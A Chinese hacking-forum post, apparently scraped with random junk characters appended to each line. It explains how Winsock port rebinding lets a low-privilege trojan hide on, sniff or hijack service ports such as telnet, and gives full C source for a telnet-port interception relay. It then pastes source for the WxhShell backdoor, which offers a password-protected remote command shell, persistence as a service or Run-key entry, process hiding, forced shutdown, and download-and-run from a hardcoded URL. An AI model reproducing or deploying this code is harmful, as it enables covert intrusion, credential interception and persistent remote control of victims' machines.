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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S/a/1 n$ U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t@X M /=d  
ILNE 4n  
  saddr.sin_family = AF_INET; }j& O/ Up  
=fY lzZh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n(Qj||:  
S{o@QVbl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g;$E1U=R-E  
HkW/G[7x&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lTn;3'  
Q]!6uA$A  
  这意味着什么?意味着可以进行如下的攻击: cL6 6gOEL  
wG_4$kyj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (:ZPt(1  
EJO.'vQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4; ?1Kb#  
Y3D3.T6Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D5=C^`$2  
fW(;   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fwRGT|":B  
0rV/qMo;K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2q+la|1Cr  
DKR<W.!*t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OdO{xG G@  
4"LPJX)Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 baqn7k"  
7^HpVcSM  
  #include "_t4F4z  
  #include X8 8F>1}  
  #include /#29Y^Z)=  
  #include    wtlB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H1Q''$}Z.  
  int main() Mk<m6E$L  
  { X z8$Xz,O  
  WORD wVersionRequested; <|otZJ'2r  
  DWORD ret; ! &y  
  WSADATA wsaData; JAN|aCzD  
  BOOL val; ,Ie<'>hd  
  SOCKADDR_IN saddr; $$42pb.  
  SOCKADDR_IN scaddr; eDuX"/kHA  
  int err; Bhj:9%`  
  SOCKET s; !5NGlqEF#  
  SOCKET sc; S 9WawI  
  int caddsize; "@(58nk  
  HANDLE mt; ?.8<-  
  DWORD tid;   DQcWq'yY^  
  wVersionRequested = MAKEWORD( 2, 2 ); 0(\p<qq  
  err = WSAStartup( wVersionRequested, &wsaData ); .hxin [Y  
  if ( err != 0 ) { D^$]>-^  
  printf("error!WSAStartup failed!\n"); bH_I7G&m  
  return -1; +5#x6[  
  } B .El a  
  saddr.sin_family = AF_INET; P?xA$_+  
   6F,/w:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %z=`JhE"Q  
[@g~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); " l.!Ed  
  saddr.sin_port = htons(23); f7.m=lbe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P7'M],!9w  
  { v< Ty|(gd  
  printf("error!socket failed!\n"); hRk,vB ]  
  return -1; W.IH#`-9E  
  } cFw3Iw"JJ  
  val = TRUE; B+|IZoR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %,XI]+d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^+EMZFjg(  
  { ATo}FL 2  
  printf("error!setsockopt failed!\n"); $-Cy  
  return -1; -7&?@M,u  
  } j+nv=p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (p^S~Ax  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FbmsN)mv!%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1PmX." a  
k2pT1QZnt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ::ri3Tu  
  { O6/xPeak  
  ret=GetLastError(); Jlz9E|*qV  
  printf("error!bind failed!\n"); !h?=Wv ==]  
  return -1; YKNb59k  
  } H)\4=^  
  listen(s,2); /Ad6+cY  
  while(1) v3~FR,Kl  
  { Y^yG/F  
  caddsize = sizeof(scaddr); |ebvx?\  
  //接受连接请求 ghX:"vV{n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $:(z}sYQ7  
  if(sc!=INVALID_SOCKET) >C:If0S4X  
  { EPv%LX_j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b1 H7  
  if(mt==NULL) URLk9PI  
  { x+K gc[r  
  printf("Thread Creat Failed!\n"); 3Mur*tj#  
  break; ERp{gB2U?  
  } w?*j dwh,'  
  } %TDXF_.[  
  CloseHandle(mt); J,9%%S8/C  
  } ]b> pI;  
  closesocket(s); *N`;I@Q"[  
  WSACleanup(); fwy"w  
  return 0; L*9H#%3  
  }   bK?MT]%}r  
  DWORD WINAPI ClientThread(LPVOID lpParam) *{Yh6 {  
  { Hl/7(FJqc>  
  SOCKET ss = (SOCKET)lpParam; zs0hXxTY:  
  SOCKET sc; G8noQ_-  
  unsigned char buf[4096]; 2Sjt=LOc="  
  SOCKADDR_IN saddr; W\%q} q2?  
  long num; ZzT&$J7]`{  
  DWORD val; 8nodV 9  
  DWORD ret; )Y~xIj >  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wW^Zb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -IbbPuRq  
  saddr.sin_family = AF_INET; k},>^qE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lYP~3wp99  
  saddr.sin_port = htons(23); s+'XQs^{aj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !:dL~n  
  { b#A(*a_gN  
  printf("error!socket failed!\n"); Qne0kB5m  
  return -1; IyOpju)?  
  } @R UP$  
  val = 100; UDM yyVd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J$rJd9t  
  { y #69|G  
  ret = GetLastError(); <>n9'i1  
  return -1; qrpb[)Ll  
  } f0u56I9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 A5t*e  
  { Oi6Eo~\f  
  ret = GetLastError(); 5tMh/]IeS  
  return -1; $HxS:3D%D  
  } JdO)YlM-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e$ 32  
  { Qww^P/vm  
  printf("error!socket connect failed!\n"); i+1Qf  
  closesocket(sc); .> wFztK  
  closesocket(ss); +v!v[qn  
  return -1; Hsgy'X%om  
  } EavX8r  
  while(1) aiJnfU]W  
  { _; 7fraqX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |_, /u_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0 7\02f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =q5@,wN^  
  num = recv(ss,buf,4096,0); G0pBR]_5z$  
  if(num>0) x~z_,':  
  send(sc,buf,num,0); -p]>Be+^x  
  else if(num==0) /'\;8A$J`  
  break; %Ci^*zb  
  num = recv(sc,buf,4096,0); d@Q][7  
  if(num>0) r ^ Y~mq  
  send(ss,buf,num,0); Ok*Z  
  else if(num==0) >T QZk4$  
  break; Hit Ac8  
  } 4#7Umj  
  closesocket(ss); 9qre|AA  
  closesocket(sc); v&r=-}z2!  
  return 0 ; u1N1n;#  
  } ^aHh{BQ%  
M%|f+u&  
p/3BD&6  
========================================================== V~[:*WOX  
L1{T ?aII  
下边附上一个代码,,WXhSHELL aHC%19UN  
9T?64t<Ju  
========================================================== 5uttv:@=  
'bPk'pj9  
#include "stdafx.h" wFb@1ae\  
2f^-~dz  
#include <stdio.h> +9C;<f  
#include <string.h> RG&6FRoq  
#include <windows.h> drIK(u\_  
#include <winsock2.h> l2s{~IC  
#include <winsvc.h> pC^2Rzf  
#include <urlmon.h> 'W(xgOP1  
(A uPZ  
#pragma comment (lib, "Ws2_32.lib") "S(yZ6r"  
#pragma comment (lib, "urlmon.lib") p-Pz=Cx-  
rREzM)GA  
#define MAX_USER   100 // 最大客户端连接数 /BKtw8  
#define BUF_SOCK   200 // sock buffer ]4o?BkL  
#define KEY_BUFF   255 // 输入 buffer oq. r\r  
??(Kwtx{  
#define REBOOT     0   // 重启 qv uxhzF  
#define SHUTDOWN   1   // 关机 &[~[~m|  
`.8UKSH+  
#define DEF_PORT   5000 // 监听端口 V^2-_V]8  
\K}aQKB/j  
#define REG_LEN     16   // 注册表键长度 8YKQIt K  
#define SVC_LEN     80   // NT服务名长度 ~#Aa Ldq  
r )8z#W>s  
// 从dll定义API "xn|zB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LABNj{=D!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Y^I]`lR"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]u0Jd#@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a_{6Qdl  
1eD.:_t4  
// wxhshell配置信息 :<%vE!$  
struct WSCFG { @)b^^Fp  
  int ws_port;         // 监听端口 ;(S|cm'>}  
  char ws_passstr[REG_LEN]; // 口令 r.<JDdj  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uouq>N  
  char ws_regname[REG_LEN]; // 注册表键名 wS%zWdsz  
  char ws_svcname[REG_LEN]; // 服务名 02pplDFsM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hfv%,,e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /WYh[XKe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dhtb?n{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OpQ8\[X+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KuXkI;63J>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H`el#tt_  
NnOI:X {  
}; gc,Ps  
8^vArS;  
// default Wxhshell configuration H;y}-=J+  
struct WSCFG wscfg={DEF_PORT, !.-.#<<_a  
    "xuhuanlingzhe", )8'jxiGs  
    1, 4| f}F  
    "Wxhshell", `)tA YH  
    "Wxhshell", HTR1)b  
            "WxhShell Service", H#Q;"r3  
    "Wrsky Windows CmdShell Service", M BVOfEMj  
    "Please Input Your Password: ", |7c `(.  
  1, @c]Xh:I  
  "http://www.wrsky.com/wxhshell.exe", */_@a?  
  "Wxhshell.exe" Q7(eq0na  
    }; CjKRP;5  
8[R1A  
// 消息定义模块 m8AAp1=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !Rqx2Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^Plc}W7h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m[rL\](-  
char *msg_ws_ext="\n\rExit."; eEP( ).  
char *msg_ws_end="\n\rQuit."; SH=:p^J  
char *msg_ws_boot="\n\rReboot..."; =~J fVozU  
char *msg_ws_poff="\n\rShutdown..."; JO}?.4B  
char *msg_ws_down="\n\rSave to "; ,]q%/yxi  
RUX8qT(Z  
char *msg_ws_err="\n\rErr!"; t3>$|}O]t  
char *msg_ws_ok="\n\rOK!"; =:/>6 H1x  
L$hc,  
char ExeFile[MAX_PATH]; R@n5AN(  
int nUser = 0; mPG7Zy$z  
HANDLE handles[MAX_USER]; lD3)TAW@o  
int OsIsNt; _z]v<,=3M  
2kJ!E@n7  
SERVICE_STATUS       serviceStatus; u>o<tw%Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zt?H~0$LB  
#HG&[Ywi  
// 函数声明 DqlK.  
int Install(void); [pR)@$"k'  
int Uninstall(void); "teyi"U+  
int DownloadFile(char *sURL, SOCKET wsh); X+at%L=  
int Boot(int flag); O9e.=l  
void HideProc(void); *B{-uc3o  
int GetOsVer(void); v$3_o :  
int Wxhshell(SOCKET wsl); #_fY4vEO  
void TalkWithClient(void *cs); ?gG,t4D  
int CmdShell(SOCKET sock); MD4\QNUa)*  
int StartFromService(void); ^@"c`  
int StartWxhshell(LPSTR lpCmdLine); k>>`fE\K  
\ 3G*j`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X:{WZs"[x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]1}h8/  
?4sJw:  
// 数据结构和表定义 1ktHN: ta  
SERVICE_TABLE_ENTRY DispatchTable[] = Z"D W 2k  
{ N7pt:G2~%  
{wscfg.ws_svcname, NTServiceMain}, ?K<Z kYw?  
{NULL, NULL} "mt p0  
}; fYn{QS?  
Q S;F+cmTh  
// 自我安装 B{PLIisc  
int Install(void) 9P0yv3  
{ Pgev)rh[  
  char svExeFile[MAX_PATH]; g}r^Xzd;  
  HKEY key; Snx<]|  
  strcpy(svExeFile,ExeFile); 4#h ?Wga  
O9*p0%ug  
// 如果是win9x系统,修改注册表设为自启动 :'Xr/| s  
if(!OsIsNt) { S.hC$0vrj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <I 1y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 045\i[l=  
  RegCloseKey(key); p%8 v`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !sG"n&uZq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v:A:37#I  
  RegCloseKey(key); qguVaV4Y  
  return 0; -#%X3F7/w  
    } PGY9*0n  
  } }$:#+ (17  
} u<kD}  
else { XN(tcdCG  
>2Ca5C  
// 如果是NT以上系统,安装为系统服务 s|gp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gIBpOPr^d  
if (schSCManager!=0) kO+s+ 55  
{ %YCd%lAe,  
  SC_HANDLE schService = CreateService VF= Z`  
  ( <`+zvUx^?  
  schSCManager, f?0D%pxc}&  
  wscfg.ws_svcname, 1 7i$8  
  wscfg.ws_svcdisp, /x/4NeD  
  SERVICE_ALL_ACCESS, N]u2ql&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -ek1$y9)  
  SERVICE_AUTO_START, R'Eq:Rv~;^  
  SERVICE_ERROR_NORMAL, piuKV U  
  svExeFile, doH2R @  
  NULL, !&JiNn('  
  NULL, ^9'$Oa,*  
  NULL, avBua6i'  
  NULL, ! ]\2A.b[  
  NULL :A#+=O0\z  
  ); gY%&IHQ'  
  if (schService!=0) +;6)  
  { <tW:LU(!  
  CloseServiceHandle(schService); t9Vb~ Ubdb  
  CloseServiceHandle(schSCManager); YLmjEs%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #s{aulx  
  strcat(svExeFile,wscfg.ws_svcname); gDv$DB8-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { - `4Ty*K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  mmcdtVe  
  RegCloseKey(key); _4!{IdR  
  return 0; N33AcV!*8  
    } 6?!I  
  } bKByU{t  
  CloseServiceHandle(schSCManager); FF3&Y^+^"  
} V4EM5 Z\k  
} E\iJP^n  
|K)p]i+  
return 1; rg*^w!   
} FW5}oD( H  
yp?w3|`4;  
// 自我卸载 hv{87`L'K(  
int Uninstall(void) 9#fp_G;=  
{ [,GU5,o  
  HKEY key; b"&E,=L  
`[bJYZBc2  
if(!OsIsNt) { (Z 8,e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w49{-Pp[  
  RegDeleteValue(key,wscfg.ws_regname); /4-}k  
  RegCloseKey(key); \kyM}5G(<0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p_9g|B0D  
  RegDeleteValue(key,wscfg.ws_regname); lZvS0JS  
  RegCloseKey(key); C/y(E |zC$  
  return 0; {( dP  
  } 44j,,k  
} ]<q'U> N  
} }U i_ynZ!  
else { W6M jQ%f  
vs\|rLa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '{CWanTPi  
if (schSCManager!=0) `{<JC{yc?  
{ qS| AdkNL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L:i+}F;M)s  
  if (schService!=0) gZ*hkKN6  
  { t*s!0 'Y  
  if(DeleteService(schService)!=0) { ]\`w1'*  
  CloseServiceHandle(schService); 19) !$Hl  
  CloseServiceHandle(schSCManager); %}ixgs7*c0  
  return 0; *V-ds8AQ  
  } Y.X4*B  
  CloseServiceHandle(schService); 1xIFvXru  
  } T$ IUKR  
  CloseServiceHandle(schSCManager); ~ttKI4  
} wcl!S{  
} 8UYJye8  
j)BQMtt&U  
return 1; _<3r'Y,  
} M_; w %FV  
 VmYBa(  
// 从指定url下载文件 x*J|i4  
int DownloadFile(char *sURL, SOCKET wsh) Y6a$gXRT  
{ lU& Q^Zj`  
  HRESULT hr; El+Ft.7  
char seps[]= "/"; 99EX8  
char *token; s6IP;}  
char *file; ?jFc@t*\:  
char myURL[MAX_PATH]; &<@%{h@=  
char myFILE[MAX_PATH]; rXuAixu!t  
{<r`5  
strcpy(myURL,sURL); G_0)oC@Jl:  
  token=strtok(myURL,seps); `;e^2  
  while(token!=NULL) ;!:F#gahv  
  { )6g&v'dq  
    file=token; "d2LyQy  
  token=strtok(NULL,seps); 6}"lm]b  
  } `[&v  
(<n>EF#  
GetCurrentDirectory(MAX_PATH,myFILE); =<TO"  
strcat(myFILE, "\\"); Nv{eE<<6  
strcat(myFILE, file); Xa)7`bp<  
  send(wsh,myFILE,strlen(myFILE),0); {)@ j77P  
send(wsh,"...",3,0); T*8_FR<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  J(^ >?d'  
  if(hr==S_OK) 69rwX"^  
return 0; D*qzNT@`LR  
else v23TL  
return 1; 7pd$?=__I  
sb 8dc  
} .1Vu-@  
BjN{@ aEO  
// 系统电源模块 6Z$b?A3zM  
int Boot(int flag) V.U|OQouT  
{ y6bjJ}  
  HANDLE hToken; Ty.drM  
  TOKEN_PRIVILEGES tkp; 4sI3(z)9H  
wqf&i^_  
  if(OsIsNt) { tG_-;03<`4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WVinP(#nfM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B JU*`Tx  
    tkp.PrivilegeCount = 1; 9Y\F53p&j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UUD\bWfn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JTjzT2`A.  
if(flag==REBOOT) { 8.PXTOhVL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z5yt]-WN&  
  return 0; T4l-sJ'|  
} k-io$  
else { yB|]LYh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +A&EKk%$ |  
  return 0; 8Er[M  
} 7G?Ia%u  
  } y{:]sHyG  
  else { PMD,8]|  
if(flag==REBOOT) { X E!2Q7Q9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?!R %o  
  return 0; {7/A  
} 1`nc8qC  
else { xcsFODx~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OCvml 2 vP  
  return 0; %+D-y+hn  
} /E; ;j9  
} :jl u  
"^18&>^  
return 1; 5f/@: ~  
} x_]",2 W'  
vI4%d,  
// win9x进程隐藏模块 'M47'{7T  
void HideProc(void) sb8z_3   
{ F fZ{%E  
XryQ)x(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u=1B^V,6V  
  if ( hKernel != NULL ) 5?D1][  
  { q#l.A?rK\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =ZFcxGo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X+/{%P!w  
    FreeLibrary(hKernel); Jii?r*"d  
  } -WQ_[t9l  
uPM8GIvZX.  
return; O_qu;Dx!  
} sj#{TTW  
~+7ad$   
// 获取操作系统版本 +#^sy>  
int GetOsVer(void) rE!G,^_{  
{ Y'3k E  
  OSVERSIONINFO winfo; 0G~%UYB-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h9,wiT  
  GetVersionEx(&winfo); l2z`<2mp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AM1/\R  
  return 1; }G"r3*  
  else Q>cL?ie  
  return 0; Xi1q]ps  
} 50}.Xm@,BO  
bjU 2UcI"<  
// 客户端句柄模块 m$j n5:  
int Wxhshell(SOCKET wsl) eA3`]XP.`b  
{ 5d)'`hACe  
  SOCKET wsh; ;5,`Jpca  
  struct sockaddr_in client; <K|3Q'(S  
  DWORD myID; ex0 kb  
oHYD_8'f  
  while(nUser<MAX_USER) 6R3"L]J  
{ %4QoF  
  int nSize=sizeof(client); # |[`1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U[K0{PbY  
  if(wsh==INVALID_SOCKET) return 1; 'iMHAP;N  
p,M3#^ q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6,CU)-98G  
if(handles[nUser]==0) +&&MUT{ 3  
  closesocket(wsh); PPuXas?i  
else z226yNlS  
  nUser++; >$#*`6R  
  } M6@'9E]|>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~(Ih~/5\^  
FZe N,  
  return 0; LAu+{'O\  
} 0KWy?6 X  
~v{C6)  
// 关闭 socket ?qq!%4mTB  
void CloseIt(SOCKET wsh) jQH5$  
{ =B3!jir  
closesocket(wsh); FFD*e-i  
nUser--; GU;TK'Yy?  
ExitThread(0); uFA|r X  
} *il]$i  
nr<}Hc^f-  
// 客户端请求句柄 Vq)|gF[6i  
void TalkWithClient(void *cs) #`YxoY`  
{ z=- 8iks|  
[[.&,6  
  SOCKET wsh=(SOCKET)cs; -KJ}.q>upq  
  char pwd[SVC_LEN]; ` $QzTv   
  char cmd[KEY_BUFF]; ~/]\iOL  
char chr[1]; GlV-}5W  
int i,j; ;%b <uV  
-.+KCt G$+  
  while (nUser < MAX_USER) { "63zc 1  
gMoyy  
if(wscfg.ws_passstr) { 'Wx\"]:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5VoOJ_hq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FrAqTz  
  //ZeroMemory(pwd,KEY_BUFF); .MzP}8^  
      i=0; #%} u8\q  
  while(i<SVC_LEN) { 0NuL9  
HNkZ1+P {  
  // 设置超时 b _K?ocq  
  fd_set FdRead; r(?'Yy  
  struct timeval TimeOut; e&FX7dsyy  
  FD_ZERO(&FdRead); a|] %/[G@  
  FD_SET(wsh,&FdRead); mZ& \3m=  
  TimeOut.tv_sec=8; @wAr[.lZ  
  TimeOut.tv_usec=0; /ut~jf`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UG^?a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *x# &[>  
f)ucC$1=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ba:mO$  
  pwd=chr[0]; 1o5Y9#7  
  if(chr[0]==0xd || chr[0]==0xa) { x1&b@u  
  pwd=0; {W:)oh>  
  break; 21)-:rS  
  } ^8f|clw"  
  i++; ]y)R C-N  
    } 9L)&n.t1  
r-\T}e2Gz  
  // 如果是非法用户,关闭 socket c5mhl;+'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M~g~LhsF  
} dWq/)%@t  
)W}/k$S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v|,[5IY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "k_n+cH%  
^S;RX*  
while(1) { J}Z_.:JO(w  
rz%[o,s  
  ZeroMemory(cmd,KEY_BUFF); A aF5`  
kgbr+Yw2X  
      // 自动支持客户端 telnet标准   >1)@n3.<O  
  j=0; 1X!f!0=g+  
  while(j<KEY_BUFF) { lJz?QI1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "DcueU#!  
  cmd[j]=chr[0]; < 4EB|@E  
  if(chr[0]==0xa || chr[0]==0xd) { * F%ol;|Q  
  cmd[j]=0; &:e}4/G  
  break; D0E"YEo\nv  
  } 6UzT]"LR;  
  j++; j O5:{%  
    } ym,Ot1  
n\8[G [M  
  // 下载文件 n[cyK$"  
  if(strstr(cmd,"http://")) { #&`WMLl+8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &Ow?Hd0  
  if(DownloadFile(cmd,wsh)) ^1FZ`2u;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;P0Y6v3  
  else &L~31Ayj&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )(|0KarF  
  } /NN[gz  
  else { ,h(f\h(9  
|@Idf`N$  
    switch(cmd[0]) { #3:'lGBIK  
  39a]B`y  
  // 帮助 s2' :&5(  
  case '?': { 4f@\f7 \  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L8-[:1  
    break; O^="T^J  
  }  KHs{/  
  // 安装 Mbi+Vv-  
  case 'i': { m 'H  
    if(Install()) z1@sEfk>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1n5e^'z  
    else X#NeB>~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }AH|~3|D  
    break; Gp3t?7S{T  
    } XX5(/#  
  // 卸载 ^N}~U5  
  case 'r': { <+1w'-  
    if(Uninstall()) ZD] '$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m$y$wo<K[7  
    else Y*X6lo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ht cO ~b  
    break; F]&J%i F[  
    } Jm1AJ4mw  
  // 显示 wxhshell 所在路径 ^{sI'l~  
  case 'p': { Ud(dWj-/  
    char svExeFile[MAX_PATH]; /$4?.qtu  
    strcpy(svExeFile,"\n\r"); =smY/q^3  
      strcat(svExeFile,ExeFile); "ZPbK$+=yU  
        send(wsh,svExeFile,strlen(svExeFile),0); D~`YRbv  
    break; 6;c{~$s~[  
    } }d*sWSPu(  
  // 重启 *[5#g3  
  case 'b': { zB7dCw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ={D B  
    if(Boot(REBOOT)) Ko1?jPE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =<W[dV=W  
    else { hB<z]sl  
    closesocket(wsh); C00*X[p  
    ExitThread(0); kC#B7*[RM  
    } Ex&RR< 5  
    break; (i~%4w=  
    } D '_#?%3^  
  // 关机 eMd1%/[  
  case 'd': { ~~E=E;9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8; N}d)*O  
    if(Boot(SHUTDOWN)) owVUL~  
